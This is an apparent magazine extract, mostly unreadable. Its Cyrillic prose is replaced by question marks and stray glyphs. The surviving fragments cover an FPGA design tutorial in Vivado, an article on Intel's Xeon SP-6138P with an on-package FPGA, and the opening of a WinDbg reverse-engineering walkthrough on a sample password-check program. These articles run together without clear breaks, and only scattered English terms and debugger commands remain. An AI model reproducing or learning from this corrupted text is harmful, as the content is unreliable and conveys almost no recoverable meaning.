???�??�????�??,�??�?????�??�??�???�?�??�????�?燜PGA.
??�???�?�??�???????燬ynthesis�燫un燬ynthesis��???燜low燦avigator,
?????� ???�?????� ??� ???�??� ???�??� ?� ???�???�???�??� ???�????� ??????�??,
?� ????�?� ??� ???�????�????�??� ???�????.� ????�?� ???� ????� ??????�?� ????�
???????�???� ?� ?????�??� ???????�?� ???�??�??�?� ???� ???�?� ???????�??
?� ???�?,� ??� ?� ???�???�?� ???�??� VHDL� ?� Verilog� ????�?� ??� ???�??� ????.� ???
??� ?????� ?????� ?????�?� ?????�???� ??� ???�????�??� ????�???�????� ????,� ???
??�??????�?燰erilog.�??�??�?�?燜low燦avigator�???燫TL燗nalysis�燨pen
Elaborated燚esign�燬chematic.
RTL燗nalysis燭OP
???�?�????�??�???�??�???�????�??�?,��???�?�??�?�??�????????,
????�??� div_cnt,�???�???�?????��???�????�???�?�燚?????�????,��???�
??�??�?????�????�??�?�??�?????�??�??�????燿iv_clr�燾nt_en.
??�????�?�??�??????�?燿iv_clr,�?�???�?��??�????��??�?燿iv_c?
nt�????燚IV,�?�???�??�???.�?�???,�??�??�????�???�????�??�?��???�
????�??,��??�????�???�???��???�??????�??�???��????�??�??,�????�
????�?????�?�????�?�??�????�??燫TL_ROM.�??�???�??�???�???�??�???
????????�?,� ???�?????� ??� ???????�?� ???�?� ?????� ?� ????�?� ?????� ???�???,
???????�???�???�??�?�???�???�??�????燚IV.
??�???�??�??�?�?????燾ounter_rtl.
RTL燗nalysis燙ounter
???�?�????�??�????��????�??�??�?�??????�????�?�???�???,�???�????�
?????�?�????�???��??�?????�????�??�??,�??????�???�?�??�??�????.
?� ??????�??�?� ??� ???�????� dir� ?????� ????�??�?????� ??� ????� ?????�??� ????�
????�?� ????� ?????� ???�?� ???�?????� (?????�???� ??????�?� ???�????),� ????
?????�??�?�??�????�(???�?????�?????�?�??�????).
??�??� ????�??� ???� ???�????� ???�?� ?� ???,� ???� ???????�?� ???�?� ???�???.
???�???�?燛laborated燚esign��???燬ynthesis�燫un燬ynthesis,�??�?�????�
?????� ???�??�?� ????� Synthesis� ?� Open� Synthesised� Design� ?� Schematic.
????� ??� ??????�??� ?� Vivado,� ??� ???�???� ????????� ???�?� ??� ?????�??� ????�
?????�??.�??�?�?�??�?�???燾ounter_rtl��?????�??.
Counter燼fter燬ynthesis
???�?,� ???� ???�???�???� ???�?????�????� ???�?� ????� ???�?????� ?� ????�???�
?????�?� ???????,� ????�?� ???� ?????�???� ???�?� LUT.� ???� ???� LUT,� ???????
????�??�?��??�??�???�????燜PGA.�????�???�?��???�??�?�???�??,�??
???�?????� ?????�??� ?????�??� ???.� ??� ???� ?� ??� ???�???�?,� ????�?????????�
??????�?,� ???� ?� ???�?????�?� ????� ???� ??,� ???�??� ???�????�?� ???�???
?�????�?.
??�??�??��??�????�?�???��??�??????�??�????�??�?�???�????
(Place)� ?� ???�?????�??� ???�??� ???�?� ????� (Route).� ???� ???�?� ?� ????� Flow
Navigator� ????� Implementation� ?� Run� Implementation.� ???�???� ???�??� ????
?????.
???�?� ???� ?????�????� ????� ??� Implementation� ?� Open� Implemented� De?
sign,� ???� ?????�?� ????� Device.� ?� ???� ????�???�???� ????�??�??� ?????�?
FPGA.� ???????� ?????�?� ???�??�???� ????????????� ???�??.� ??????� ???�??
???�??????�??� ???�??� ?????� ?????�??,� ???�?� ???�?????� ???�???� ?� ????
???????��??�???�?????�??燙LB��??????��??�????�?.
Placed爃ardware爎esources
??� ?????�?� ???�?,� ???� ?� ???�?????� CLB� ??????� ???� ??????� LUT� ?� ??????
??�???�?�???�????,��??�?�?????�???�?�??�????�??�???�?????�?,�???�
???�??�??�????�??�????.�??�??�?????�??�?�???????�??�??,�?????
???�????,�??�??��????�??????�??�???�?�???�???�??�?.�???????�???
?????�?????�??�???�????�??????�?.
????????�???????��????????�?�燜PGA
??�?????�??�???�?????�???�??�??�?��??�?????�??�燜PGA.
????�?燩rogram燼nd燚ebug�燝enerate燘itstream.�??�?�???�????�???�
???�?� ???�??�???� ?� ???�?� ??????� microUSB� ?� ????� PROG/UART� ?� ????�???
???????�??�??�??�?�??�?.�????�燰ivado�???�?燩rogram燼nd燚ebug�
Open燞ardware燭arget�燨pen燭arget�燗uto燙onnect.
Hardware燤anager
?� ??????�????� ????� Hardware� Manager� ???�??� ????�??� ????� ???�???
??�??�????�???�????爔c7z010_1��?????�?燩rogram燚evice.
??�??� ??� ???�?� ???????� ???�??�?� SW1� (P15)� ?� ???�??� enable
?燬W0(G15)�燿ir.�???�??�???�?燬W1�????��??�???�?,�??�??��????�?
?????�???�???� ???�???�??.� ????�?� BNT0� (R18)� reset� ????�???�?� ????�??
?�
??????
?�???��??�???�??�????�?��????�??�???????�???��??�?????�?燜PGA:
????� ???�??� ????�???�????� ??� ??????�??????,� ????�??�???� ?� ???????� ????�
????�???�??.
??�?� ?� ???????,� ???� ?????�??�?� ??????�???�????� ?????�??� ???�???�????�
???� ??� ???�?� C/C++,� ???� ???�?� ???� ???????�?� ??????�??????� FPGA� ?????�
??????�????�???�??�?????�??,�????�???�??�??燙++�????�?????�??
?� �?????粻 ?� ?????� ???�????� ???�?� ?????� ???�?????�???.� ???� ???�?� ???�?
?????�??�???�?????�?�???�?燫TL�?�??�??燰HDL�??燰erilog.
???�??�??�???,�??�???�?????�???�????�????�??�?�????�??�?????
????????燫TL��???�???�??�?????,�??????�???�???�?燜PGA��???�????
???�???�?,�??�??�???�?????�?????�???�?�???�??�??.
???�??�????燫TL��???�?????�??�?????�??�?牜???�????�??�????�???
?� ????�??�???� ?????�??�?粻 ??� ??????�???� ??????� ?� ????� ???�??.� ???,� ???
???� ??????�?,� ?� ???�??� ???�?????�??� ???� ??????�??� ????�??????????�
??????�??� FPGA.� ???� ????� ???�?� ???� ???�????� ????�??� ?� ????�??�???
FPGA� ?� �??�???�???�??� ??� ????.� ????�??�???,� ?????�??� ?� ??????.� ????
??????�?�??�?粻????�?�??�???�?.�???????�????�?????�??�??�??!
??� ???�?� ???�?????�?� FPGA� ???�???�???� ?????�?� ?� ?� ???,� ?� ??� ??????.
????� ?� ???,� ???� ????� ?????� ???� ?????� ???�?????�??� ????�?,� ???� ???� ???�??
????�?????�??,��???�?�?�??�????�??�???�?�?�???�?�????�????�?
??� ????� ???????,� ??� ????,� ???� ???????� FPGA????�??,� ???� ????�?,� ?� ???�??
RTL�??�????�?.
??�??�?� ???????� ???�??� ????� ?� ???� ???� ?????�???.� ???� ????,� ?????�?,
?????�??�?�????�???�??�?????��??�??�??�??�???�????�???�??,��???�
??� ??????�????�??� ???�????�?� ???� ??????�??� ?????�?????�??� ????�??�??,
???????�?�????�????.
????�??� ?� ???�??�?� ????�???�?� ?� ????�??????�?� ??????�??????� FPGA
???�??????�??�??�???�?????:�??�???�??�?�??�??�??�????�?�?燜PGA
??????�?� ???�???� ????�?� ???�???,� ???� ??� CPU� ???� GPU.� ??????�??� ????
???�??��???��??�??�??�????�???�??�???�?!
COVERSTORY
???????????????????
?????????
???�???????�???????????燜PGA
?�??�??�?????????
?�??�18�???,�??�?�??????�??�?????,
???�??� ???�???� Intel� ??????�?� ???�?????
???�??�???燲eon�?�????�???�?燜PGA�
Intel� Xeon� SP?6138P.� ???� ???�??� ???�????
??????� ????�?� ???�??�??,� ?� ???????� ?� Intel
??????�?� ?� ???� ?????� ???,� ???� ???�??????
???�?????�???�?�?�???�??????�??�????�
????�??燜PGA��??�?燗ltera.
???????�?????
???????????�???????????
?????????
valeriy.shunkov@gmail.com
Intel燲eon燬P?6138P
????�??�??�??�??�??燜PGA�??�???�??�???�????�???�?�??????�??�?
??????� ?� ?????�???�?� ????�??� ???�????.� ???�???�??� ?????�????� ?� ????
???�????�???�??�???� ????� ????�???� FPGA:� ???�?????� ???�?� ???�??�????
???� ???�?� ???�???�???� ????�?????�?,� ????� ????� ???� ?????� ???�?� ????� ???
?�???�???�?????�????�???�???�?��??�??�?�?????�??�????�?.
INFO
???�?????� ?� ???,� ???� ??????�?� FPGA,� ?????
?�?????牜???�???�???,�??�????�??�???�?????�
??????�??????�??�??�?��??�??�?????�,��
???,� ???� ???�???????� ????� ???�?� ???� FPGA,� ?
?� ??????� �??�???� ???�???�??� ????�??� ?� Xilinx
Vivado,� ???�?� ????�??� ???�??�??�?� ???�????�?
????�.
???�??�??�??�?�??�?,�???�???�????�?????�?��???�??�?�??????�??
???????�?� ???????�???,� ?� ????????� ?????� ??????� ???�??� ???� ????�?� ????�
?????.�?????�???,�?�??�??�??�??�??燜PGA�??�??�???�???�??????�???�
???????� ?� ??????�???� ???�???� ?????�????�?,� ??� ????� ???�?� ???� ???�???
???� ???� ????�??�?� ?????� ???�?:� ?????� ???�??� ???�??�?� Xilinx� ?� Altera� ???�?
??????� ?� ??????�?� ????�?????�??,� ?� ?????� ????�????�?????� ??????,� ????�
?????�??�?��0�??�?????�??�????��85�???,�??�??�??�????�?�???
???�???�??��??�??�???�??�?.
????� ?????�????� FPGA� ???�????�?� ????,� ?� SP?6138P� ?� ???�??� ???�??
???�???�?????�???.
??�????�?????,�??�??????營ntel�??�??��??�?????�??�??�??燜PGA,�
????�??�??�????�????燨pen燰irtual燬witch,�???�?�?�??�????�??�??�??�??
???�????�????� ?� ????????�???.� ??� ???�??� Intel,� ???�???�??� FPGA� ???�??
?????� ?????�???� ?????�??,� ????�??� ???�??�???� ???�??�????� ?� ????�?????
?????� ???�??�?????� ????� ??� ????�??�???� ?????�????� Open� Virtual� Switch,
?????� ????�??� ???�????� ???�?????� ?????�?????�??� ???�????� ??� ???� ??
???�??�???.
??�??�????� ????� ?????� ??� ?????�??� ???�?� (?????� ????� ??????�??
?� ??????�??�?� ????�?� ???�???)� ???�???� ????�???�??� ??????� ??????�?� ????�
???,�??????�???�???��???�??�?�??�????????�???�???�?????��?????�
?????�??�?�???�????�?��??�????�??�??�??.�??�??��????�??��???�
????�??� ???�????�???� ???�????.� ?� ???�??� ?????�????� FPGA� ???�????�?
???�????� ?????�???� ???� ???�???� ??????�??� ????�????�??,� ??� ?????� ???�?
?� ???�????� ??� ???�???�???�??� ???�???� ?� ???�???�????� ???� ????�?????
DDR4/PCIe� ???.� ????�?????�???�??� ????� ?????� ????� ?????� ??????� ?� ????�
??????�??,� ???� ?????�???�?� ???�??�???� ???�???� ?� ???�???�?� ????�???�???
????�??� ?????� ???�???� ???�?� FPGA� ?� ???�??�????� ?� ????,� ???�????,
????�?????� ???????�?????� ??????????� ???� ???�????� ???�???� ??????� ????�
????.
????�??????��??�?爀lectronicdesign.com�?????�???�??�???�?:
?????�????�???�?�????�?????�???�???燜PGA�??�???????�???
???????�????�?�??�????�??,�??�?????�??????�???爏tandalone
????�?� ???�???????� ???�?????�?� ???�??�?� ?� ????�???� ????�?� ???�???
?� ???�???� ???�???� ???�???� ?� ????�??� ????�??� ???�????� ?????�??????
FPGA.
??�???�???,� ???�???� Intel� ?� ??� ???�??� ??� ???�?.� ?� ???�???�?� ????�??
?????�????�??????燜PGA�??�??�?�???�??�???�??�??�??�???�???�??
?????�??�??�??�??�?�???�?????.�???�?,�??�?�????�??�????�???�???
??�???�??�??�???�??,�??�????�????�??????�???�??�???�???�?.
????????????燜PGA
Intel燲eon燬P?6138P��??�??�???��??�???,�??????�??�??�???�??�????
????�??� ???� ???�??�???� Xeon� SP?6138G� ?� ???� FPGA� Arria� 10� GX� 1150.
???� ???�???� ?????� ????�??� ???????,� ???� ??????�??� ???�???� ???�??�???
?燜PGA�?�??�?,�?,��???????,�??�??�?�?????�?.�??????
TDP� (???�?????� ???�?????�????)� SP?6138P� ???�????�?� 120� ??,� ?� ??� ???
??� ????� FPGA� ????�???� ?????� ????�????.� ????�??� ????�????�????�??� ?
???�?� ??� ???�??�???�????,� ????� ??� ????�????� FPGA� ???�??� ????� ??� ????�?
???�?,�??�??�?�???�?????�?�??�?�??�??,�?��??�?,�??�????�??????�
????�?� ???�????????.� ???� ????� ????� ???????�??� ???�???� ???�????�?� ??� ???
???�??� ????� ????�?� ???�??� ??� ???????�????�???� ????????�?,� ???�??????�
????�??� ??????,� ???�??�??� ???�?� ????� ????�???�??� PLL,� ?� ???�?� ???�?????�
???� ???�????�??.� ???�????� ???� ????�???� ????�???� ?????�???�?� ???????
????�???�?????� ???�??,� ??� ???� ??� ???� ??� ????�?� ????�?.� ?� ???,� ????� ?????
??燜PGA�???�?�???�????�?????�??????�??�??�???��?�??�?�???�????
???�??�???�?�??�????�?�???�????�??�??�??�????
???�??� ????�???� ?????�??� ????� ?????�???� ???� ?� ???�?� ???????�??,
??� ???�?� ???� �?� ????�???�,� ?� ????????� ?????� ???????�????� ???�?� ?� ???�??
????�??�???� ???�??�??.� ???�??� ???�????� ???�??????� ??????�?
?� 2010� ??� 2014� ???,� ???�?� ?????�???� ???�?� ???�???�?� ????????� ????�????,
?� ???�?� ???????� ????� ?????� ???�????,� ???� Achronix,� FlexLogic� ?� NanoXplore.
???�??�???�??�??�??????,��????燗SIC��????�??�??�??�??�??�??????�
???� ???.� ?� ???�?� ???�??,� ????� ??� ??� ?????� ???�?????�???� ????�???�??� ???,
????�?� ????� ???�????� ?????� ?????�??????� FPGA� ??????� ???�???� ???� ?????�
????�??�??????�??�??�??????.
???�????�??�???�??????�???�???�??燜PGA��????�??????
??�?� ?????�??????� FPGA� ??�??�??� ???� ??,� ???� ?� ?� ????�??:� ???� ???�???
??� ???�??�??????� ???�?????�?????� ???????�??� ???�??�??� (LUT),� ?????�???�
???�??�?????�???�??�????.�???�???�??�??�???燣UT�???�???�?��??????�
???�?� ??� ???�???�???�?� ?� ??????,� ??� ?� ?????� ??????� ??� ??,� ???� ??� ?????
???�?��???�??燜PGA.
???�??�??�????�??�???��??,�??燜PGA�?�?????�??�???�?????�???�?
????�???�???�?� ??� ???�?????�??� ???�???�?????�????� ?� ???�??�??�????
?� ????�??�???�???� ??� ?????� ???�????�??� ???�?????� ???�?????�?,� ?� ???
?????�??????� FPGA� ?????� ????,� ?� ??????�??�?� ??� ??????,� ????�???�???�?
???� ????????�???� ????�????�????�??� ?� �??�??粻 ??????� ???� ???� ??????
???�????�????�??�??????�??????.
?� ????,� ????�???�?,� ?� ???�???� ????�???�??�??� ????�??� ?????�??????
FPGA� ??� ???�????� standalone:� ????�??????� ???�????� ?� ?????�?,� ???� ?????�?
???�?�??�???�?�???�???�??�??�??�?�??�???�??�??�????�?.
???????? ??????
?????�????� ?� ???�??�??� FPGA� ?� ??� ?????�???�??� ???�?????� ????�??� ??
???�??????.��??�??�??�????�???燜PGA,��?�??????�??�?�????�????�
????� ???�??� ???�??�?????� ????� ?� ??� ????�????� ???????�??� ????�??�??
??� ???�????�?� ???????�??� ???� FPGA� ????,� ?????� ???� PicoBlaze� ???� Xilinx
?燦IOS�??燗ltera.
??�??�????燜PGA�??�?�???�?,��????�??�????�??�?�??�???�????�
???� ???�?� ???�??????� ??� ????�????� ??� ????�?� �???� ???�????粻 ???� ?????�
??????�?,�?��??�????�??�???�??�??�??�?�??�??�??�????.�?????�???,
?� ???�?� ????� ???�??� ??????� ?� ???�????�??�?????� ????,� ???� ???????�??
?�???�?????�??.
???�????,�???�????�???燲ilinx燴ynq�????�??�?�???�?�?�??????�???�
???�?????�???�???�??�???燗RM��???燝PU,�??�????�???�?????�??�???�
??????�??�????�?�???�??�??�???�?�????�???�????.
??�????�????�????�??????燜PGA�????�????�??�???��??�???�?�???�??
???�??�?�???�????,�????�?????�??�??????�??�???�??�??�????��???�
???�???????,��??�??�?�????�??�??�??�???�???�?,�??�???????�????,
??????�???�??� ?????????� ?� ???�??�??�??� ????.� ????� ???�????�?� ?????�??
???�????�?��??�???�?�??,��?�??�??�?�??�??�?�????�???�???,�???
???�???�?????� ????�????� ???�???�?� ???????�???,� ?� ????�??�???� ??????�
?????�??�??�??�??�??�??�???�??�???�??�??�????�?�??�?????��????�
?????�?????� ????�??�??.� ?� ????�?� ???� ??� ??????� ???�????� ?????�??????
FPGA,� ???????� ???�???�?� ?????????� ??????� ??� ???�???�??� ???�?� ???�?
????�?.
???�????�??????????�???????????燜PGA
??�?????� ??,� ?????�??� ????�??� ??� ????� ???�??� ?????� �??� ??,� ???� ?� ?????�
???�,�?�?�????�???��???�???�????�???�??�??�??�???�??��?????�
???� ????.� ?????�????� FPGA� ???�??�?� ?????�?� ?� ???�??� ???�???�???�?
????????,� ???� ????�????� ???�???�?� ???????�???,� ?� ???�???� ?� ????�??�??
?�?????�???�??�???�?�???�?�?�??�?????�?.
? ???�??�??�??� ????:� ????�????� 5G� ???�???�?� ???�????�???�?,� ?� ??????
???�??????�????�????�??????��??�??�???�?????�??�?,�??�?�???�
????�?.
? ??�???�???�??� ?????????� ?� ?????�??� ???�????:� ???�??� ????�??�?� ????�
???????� ?????� ????� ?????�???�?� ????�???� ???�???�???� ?????�??????
FPGA�??�??�??��???�??�???�???�???�???燚SP.
? ??�????�?� ???????�??,� ?� ???� ???�?� ????�??????� ?� ?????:� ???� ??� ??
?????,�??��???�??�???�??�??�???,��???�??�?��???�????�???????�
????,� ?� ?????�??????� FPGA� ???�????� ????�???�???� ???�??�??� ???????
???�??????�?�??�???�??�????�?�?????�(?�??�??�??�???�??�????�
?????�????�??,�??��?????�??燜PGA).
? ??�???�??�?????� ????�???:� ???� ???�???�???� ????,� ????�??�??� ??????�
?????�??�???�?�????�???�????�??,��?�??�????�??�??�????�??�?
???�???�?�??�???????�????�??�??�??�????�??�????.
? ????�????�??:� ??� ??????� ?????????� ????�??�?� ???�??????� ???� ?????�
???????�??�???�?�???�??�?��???�?????�?�(????�?�??�??).�??????�
???燜PGA�????�???�???�??�???�???�??�??�?,��??�燗SIC��?????�
???�?????�?� ??????�???� ???�???� ????� ???�?� ????� ?� ???�???�???,
?�??�??�???�??�??�??�?�??�??�????.
??????
?� ????�??� ??� ????�??� ??????�??� FPGA,� ?????�??????� ????�?� ????�?� ???�?
?�?????,�??�????�?�??,�??�?????�???�?��??�????�?�(???��?????�???�
?????�?)� ????�???�??� ???�????�?.� ???�????�?� ???�????�???� ????� ?� ????
??????�?�??????,��???�???��??�??�?�??�????�?�??�???�??�????�??
???�?????�??�????,�?��?????�?�??�???�??�??�????�???�??�???�???
?�????�??�?????�????�????�???�???????.
?� ???�??� ???�???�?� ?????�??� ???�????� ??????�???� ???�????�??� ????�
??????,��??�??�?�??�????�??�??�???�?�?�????.�???�??,�???�?????
???�?,� ??????�?� ???�???�???� ?????�??????� FPGA,� ???� ???�??� ???�?� ???
?????� ???????�?� ??� ????�?� ?� ???????� ???�??�??� Intel,� ?,� ???�??,� ?� ?????
??????�??� ???????�??� ???�????�???�????.� ???�????,� ???�?� ??????� ?????
Verilog�??�????�?!
?????
???????????????
??????
?????????
????�????????
?????????�?????????
?????.�??????燷[,爀x?
????????�?????.�????
????????�??�???????????
?????,爊ezumi�(??.�,
????),爊2k,爀lraton,爏ouriz,
tikus,爉uss,爁arah,爅ardon,
KPNC.
??????????
?�?????????
????�???
???????????,�??????????
????????????�??.�?????
?????�??????牜?????�
yazevsoft@gmail.com
??�???� ?????�??�??�???�??,� ?????�??�?� ?� ???�??� ???�??
?????�???�??� ????�???� ?� ???????.� ????�???�?
???�???????�?????�???�?????�??�??????�??�???,�???�
??� ??????�???� ????�????�??.� ?????�?� ??� ????�????� ????�
?????� ???�???�?,� ???� ????�???????� ??� ???�???�????� ?� ??
?????�???�?� ???�??� ?� ???�?� ???�??�??� ???�????,� ???� ?� ??
?????,� ???� ???,� ????�???�?,� ????�?.� ????????� ??� ???�??
?????�??� ???�????� ????�??�?� ????�????� ?� ?� ????
????????�??� ?????�???�?� ????�??�?????� ?????�??�???
(???�????,營DA).
INFO
???�???�??� ?????:� �??�??�?� ?????�?????�?
?�??????�????�?????�
???????????�?????????
???�??� ?????� ????� ?????�???�?� ?� ?????�?� ????????� ???�??�????�??� ????�
??????�??�??????�??????�??�(???�??�?�????�????�?�???????�??�???�
????�??):
? ??�??�???�??�???�????�?�?????/???�??/???????�??��????�??�????�
??�(????�??)�?????,�????�?�??�??�??�?????�??�??�(????�??)?
? ??�??�???�??� ????�????� ??� ??????/???�??� ?� ???�??� ???�????????� (???
????�????�?�??�??�????�??�??�???�????�??�??,�??�???�???�????�
????????�???�??�???�???�??�???�???�????�??�?,��??�?????�???�
????�???�???�????,��?�???�?�???�????�????�???�?�????�??�????
??????)?
? ??�??�???�??� ???�????� DLL� ?� ??????� ??� ???� ????????� ???�???,� ????�??
???�?????� ???�????�?� (???� ??� ???�??� ?????,� ???� ????????� ???�??� ????�
?????�???�????�???)?
? ??�??�???�??� ??????� ????�??�???/????�??�??� ???�???�??� (????�??
??????�??�???�????�?��?�??�??�?�????�???�???��??�???�????)?
? ??�??�???�??�???�????,�?????�???�??�???�???�????
? ?,�?????�???,�??�???�???�????��?????.
???� ????�?� ???� ????�?� ????????,� ????� ????????� ?????�?????�?,� ???�????�?
?????,�??�?�??�??�?,��??.�???�???�??�??�??�??,�????�???????�??�?
???�?????.
??�??�???�???
?�??�?????�??�??�?�???��????�??�??????�?�?????�????�?????�?????�
????� ???�?� ???????� ???�??� ???�?� SoftICE.� ???� ???�???�???�?� ???�??,
??� ???� ???� ??� ????�??�??�??� ???�??�???� ?� ???� ????�??????� ???�??�???�
????�???�??�???????�??????�???燱indows��??????�???�?�????�???�
??.� ???�?� ???� ??� ???� ???�????� Microsoft� ?� 2006� ????� ???� ???�????�?� ?????�
??????.��??�???�?燬oftICE�????�???�?�??????�?�??�???�????�??�???
Windows,� ?� ??� ?????� ???�???� ???�???� ??� ????�?� ??� ?????�????.� ???�?????
???�???燱indows,��??????�??????燬oftICE,�???燱indows燲P燬P2,�燬P3�??
???.
SoftICE
??�???,� ?????�?,� ???�??�?,� ??� ??� ???�?� ????????� ??????� ???�??,� ?� ??????
????�?????�??�??�????�??�??????�?��?�??�???�????�??�?�??�???�??
????�??�??�??�????,�?�????�??�???�?��??�?�?????�??�????�??????�
???� ?� ?????�?� ???� ??� ????�?� ??????� ??????�?� ???????�?!� ???�????,� ?� ??
???�???� ??????�??� ???� ???�?????�??� Syser� ??� ?????�???� ???�????�????.
???� ???�???�?� ????�??� ???????,� ??????,� ???� ??� ???????� ?� ?????� ???�???
SoftICE,� ????�?� ???� ??� ???�???� ???� ???!� ??� ????� ???,� ?????�?,� ???�?� ???�?
??�??�????�???�??,�?�?�??�?�?�??�???�???.
??�????燬yser
??� ???????� ??????� ??� ????�???� ???�?� ?� ??????� ????� ?????� ????�?� ??� ????
??????�????�?�??�??�??????�??:燱inDbg�燨llyDbg.�??�?????�???�?????�
???� ????�?� ???� ?????�???�??� ???�???�??� ????�???????�??�?� ??????,� ???�?
???��??????�??�???�??�?�??�?�???????�?�???�??�???????燱indows.
?�???�??�??�??�??�?�?????�?????�??�????�??�?,�??�??�??�??燙OM?
????�??,�?????�??�????�??燯SB????�????.
???�????�??�??�??�???�?????�???�?
???�????�?????�??�??�?????燱inDbg,�?�?�??�????�?�????��???�???�
????�???�?� ???�??� ?� ?????�??� ???�??�??�??� ??????�???�?.� ??� ???�?
????????,� ???� ????�?� ??� ??????�???�?� ?????�??� ???�????�?� Windows.
???� ????� ???�?� ????�??�?????� ???�??????� ?????� ???�??�?????� DLL.
???????�燱indows燲P,�??�??�??????�???�??�????�???�???�?��??�????�
?????� ???�???.� ??� ???�???� ??� ????� DLL:� dbgeng.dll� ?� dbghelp.dll.� ???�?
?????�???�???�?�??????�??????,�??�?�??????�燱inDbg,�??�??�??????
??????�???�?��??�??�?牜???�????�??�????粻(drwtsn32.exe).
?????�??� ???????� ???� Windows� ???�???� ??� ???????� ???�???�??,� ???????�
??????燿bgeng.dll:
? cdb� ?� ntsd� ?� ???????�?� ????�???????�??�?� ??????� ?� ???�???�??
????????�??.� ???� ???�???�???� ????�?� ?????:� ???� ?????�?� ??� ?????�???�
???�?� ???�???�???� ????� ntsd� ?????�???� ?????� ???�???�??� ????,� a� cdb
???�?�?�???�??
? kd��???????�?????�???��??�???�??�???????�???
? WinDbg� ?????� ??????�?????�?� ???� ????????� ????� ????�???????�??�?
??????,�???�?????�???,�?�?�??????�??�?.�??�???�??�??�????�?
???�????�??�????????.
???�???�???�?,�????�???�???�?燱inDbg��??�???�?�??�??�?�??�??????
?�??????�???�?.
???�??� ?� ????�???�???�??� ????� dbghelp.dll,� ???????� ??????�???�?
????�???�??�???�??�????�???�??�???�?????�??燱indows.�??�???�???
???�???� ??� ??????�?,� ???�????,� OllyDbg,� Process� Explorer� ??� Sysinternals
???�?�??�?????�?.
?� WinDbg� ????� ???� ???�??:� ????�????�??� ?� UWP.� ???�??� ????�??�???�???
????�?��??????�???燚ebugging燭ools爁or燱indows.�???�????�????�??�??
???�??燱inDbg,�???�???�???�?�???�????�??�??�??�??????�????�?????
?�????�??�??�???�??.燯WP????�??�??�?�??�???�?燱indows燬tore,�??
???�?� ????�?� 32????�??� ???�??.� ???� 32????�?????� ???�??� ????�??�?� ????�
?????�?,� ??� ???�??� ????,� ???� ?� UWP????�??� ???�???� ????�??????� ?????�
????????�???� ?????????� �????�?粻 (????�?,� ????�?� ????�??� ???� ??????
??�???�??�???�?).
???� ?????� ?????�????�??� ?� ????� ???�?????� ???�?????.� ???�???� ?� ??
??????�??????�???�????�?�??,�??�?�??�????�??�???�??�?????�?�?????�
??� ?� ????�???????�???� ????????�?� (????�?� ???�???� ??� ???�??�??
????????�?,� ??� ??� ?????�?� ?????�???�?� ???�?� ?� ??� ???????�??� ???�????
??�???�???�?).
??????��???�?�???????????�?????
?�??????燱inDbg�??�????�???�???�???�???� passCompare1.exe�????
?????�???燣aunch爀xecutable�??燨pen燛xecutable��???�????�??�??�????�
???.� ?� ????�?????� ?� ??� ????� ???�?????� ???�???� ??????� ?� ??� ??????�??,
????�??�???????.
???�?�??�?�????�??�??????�??�?�??�?燱inDbg�??�????�??�???�??,
?� ????� Disassembly� ???????�?� ??????�?� ?????�??�??�????�??� ?????�?,� ?� ?
????燙ommand�???�????�?�?????�???�?�????�????.
???�?� ???�????� ????� ???�???�??� ???� ??� ??????� ??????????� ???�??
?????�????� ???�???�???� ??� ???�???�??� int� 3� ?� ???� ????�??�???� ???�?
????�???.� ???�??� ?????�?� ???�???,� ???� ?????�????� ????�????� ??????�???
?�??�???爉ain�??燱inMain.�??�?�?�???��??�?,�???�??�???�??�???
?????� ???�????� ??� ????�????� ??� C.� ?????�?,� ???� ???�????.� ????�?� ???
???????� ?� ???�???� main� ???�???�???� ???�???�??,� ???�??�??� ??????�???
?� ???�?� ???�????�?� ????� ???�????�?� ????�??,� ?????�???� ????� ???�???�??
???�????�????� ???�???�??� ????�?� Windows,� ???�??�????� ???�?????� ????�
??????� ?� ???�???.� ?????�?� ?????� ????� ??� ????�???� ????� ?� main� ?????� ?????�
?????.�???�????�???��???�?�????�??�??�?,�?�??�??,�??�??�???�??
???�???�?��??�?????�??�???燣drpDoDebuggerBreak�?????爊tdll.
???�??� ?????� ???�????� ????�??�??� ???????�??� ???� ???�????�??� ????�
????�????�??�???.�??�??�?��????�???�???�?�??�??
.symfix燿:\debugSymbols
???� ?????�?� ????�???�?� ???�?,� ???�??�??� ?� ???????�?,� ????� ????????
???� ????�??????�?� ???�????� ????�??�??� ???�???� ???� ???�?????� Windows.
?????�???�????�???�????�?�??�??�????�??�??????�??�??�??:
.reload
???�?�??�?燱inDbg�??�????�??�??�??�??��??�????燤icrosoft.
???�?� ????,� ???�?� ???�???�?????�?� ???� ???�???�?� ????�??�??
???????�???,�??�??�?�????�??�?�????�?�.sympath+�????��????�????>.
????� ????� ?� ????�??�???� ???�?????� ???????�?� ?� ?????� ???�?� ?� ????????�
????� ???�??,� ??� ???�??�??�?� ????�???�??�?.� ???� ???�?� ?????� ???�?
???????�?�???,�?��????�??�??�??�?�??�???�?????�?�??????�??,�???�
?????��??�?�??�????�?.
??�??� ????�??,� ????� ???�?????� ????????� ??� ?????�??� ???�??� passCom?
pare1� ?� ???� ???�??????� ???�??� ???�?� ????�???� ???�?????� ????� ??� ???�???
main,�??????
bp爌assCompare1!main
??�?�????�?� g�?�??�??�??�????�????�,�??�?�???????�??�?????�???�
??????�??�??�?�???�???�(??????�??�???爉ain),��???�????�??�??�?�???�
???,�??�??�???�??�????�?�??�????,��??????�?�??????�??????�?�??�?
???�???� (?� ???�???�?,� main).� ?� ?????�??� ???�??� ???�?� ??� ?????.� ????� ??� ??
???�????�??�?�???�???�?�???�?�?????�?????�+�????�??�?�??�?,�?�?
???????� ??� ?� ??????� ???�???� main,� ?� ?� ???�?????� ???�?????� ?� ???�???
mainCRTStartup,�??�????�?????�??�?????�??.
???�?� Microsoft,� ????� ???� ???�??�????�?� ????�??�??� ???�???,� ???� ???
??� ?????� ???�?????� ?� ???�??� ???�?.� ???� ?????� WinDbg� ???�????�?� ???????
???�??????�???�???�??�???�??�??�??????�??��??????�?�???��???�
?????�??�?�??�??????.�??�?�??,�???�???�?????�?��???�?�????�???�
???�?� ???�???????�??,� ???�?� ????????,� ????� ?� ????�??� ??� ?????�??�??�?
dumpbin,� ???????� ??� ??????�?????� ?� ????�??� ??????,� WinDbg� ???�????�?
???�?�??�?????�??�???,�??�????�???�?�???�???�??�??.
WinDbg�??�????�?�??�?�??�?????�??�???
???�?� ????�???� ?????� ????� ????� ?????:� ????�??�???� ?� ????�??�??.� ?� ????�
????� ??� ???� ?????�?????.� ?� ????�????� ??� ?????� ????� ?????� ???????�??.
???� ???�?� ??????� ???� ??????�???�?� ??????� ???????�??�?� ???�??�?,� ??
????� ?� ???� ???�?,� ???� ???�??� ???�??� ????,� ????????� ??????�???� ?????�????�
